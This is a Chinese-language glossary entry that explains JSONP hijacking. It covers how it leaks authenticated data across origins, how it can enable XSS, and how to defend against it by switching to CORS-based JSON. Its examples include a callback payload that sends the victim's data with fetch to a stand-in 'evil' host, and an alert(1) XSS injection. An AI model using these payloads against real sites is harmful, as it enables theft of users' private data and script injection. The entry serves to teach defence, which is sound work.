JSONP 漏洞
JSONP 漏洞 是什么?
JSONP 漏洞JSONP 接口将敏感的已认证数据包装在攻击者指定的回调函数中,导致跨源数据泄露的漏洞。
JSONP(JSON with Padding)是一种早期的跨域技术,服务器返回形如 callback({...}) 的 JavaScript,远程页面可通过 <script src> 引入。当此类接口暴露已认证的用户数据,并且回调参数未经验证即被回显时,就会出现 JSONP 漏洞:攻击者在自己站点上以自定义函数名加载 JSONP URL,从而捕获响应,绕过同源策略以及当时的 SameSite Cookie 保护。如果反射内容超出有效标识符范围,该模式还会造成 XSS。现代最佳实践是彻底废弃 JSONP,改用配合 CORS 的 JSON,并且永远不要让敏感接口可被 <script> 引入。
● 示例
- 01
/api/me?callback=window['x']=function(d){fetch('https://evil/?d='+JSON.stringify(d))}。
- 02
callback 参数原样回显,允许通过 callback=alert(1)// 触发 XSS。
● 常见问题
JSONP 漏洞 是什么?
JSONP 接口将敏感的已认证数据包装在攻击者指定的回调函数中,导致跨源数据泄露的漏洞。 它属于网络安全的 攻击与威胁 分类。
JSONP 漏洞 是什么意思?
JSONP 接口将敏感的已认证数据包装在攻击者指定的回调函数中,导致跨源数据泄露的漏洞。
JSONP 漏洞 是如何工作的?
JSONP(JSON with Padding)是一种早期的跨域技术,服务器返回形如 callback({...}) 的 JavaScript,远程页面可通过 <script src> 引入。当此类接口暴露已认证的用户数据,并且回调参数未经验证即被回显时,就会出现 JSONP 漏洞:攻击者在自己站点上以自定义函数名加载 JSONP URL,从而捕获响应,绕过同源策略以及当时的 SameSite Cookie 保护。如果反射内容超出有效标识符范围,该模式还会造成 XSS。现代最佳实践是彻底废弃 JSONP,改用配合 CORS 的 JSON,并且永远不要让敏感接口可被 <script> 引入。
如何防御 JSONP 漏洞?
针对 JSONP 漏洞 的防御通常结合技术控制与运营实践,详见上方完整定义。
JSONP 漏洞 还有哪些其他名称?
常见的别称包括: JSONP 泄露, JSONP 劫持。
● 相关术语
- appsec№ 223
CORS(跨源资源共享)
由浏览器强制执行的机制,允许服务器有选择地放宽同源策略,使一个源上的 JavaScript 可以读取另一个源的响应。
- attacks№ 224
CORS 配置错误
不安全的 CORS 策略允许不受信任的来源读取认证响应,常见手法是反射 Origin 头并返回 Access-Control-Allow-Credentials: true。
- attacks№ 240
跨站脚本(XSS)
一种 Web 漏洞,攻击者可在其他用户浏览的页面中注入恶意脚本,使其在受害者浏览器中以该站点的来源身份运行。
- appsec№ 960
同源策略 (SOP)
浏览器的安全规则,限制来自一个源的文档或脚本如何与来自不同源的资源交互。
- attacks№ 239
跨站请求伪造(CSRF)
一种 Web 攻击,迫使已认证用户的浏览器向存在漏洞的站点发送非预期请求,在用户毫不知情的情况下执行状态变更操作。
- attacks№ 1016
会话劫持
通过窃取或伪造会话标识符,接管受害者已认证的会话,使攻击者无需密码即可冒充其身份的攻击。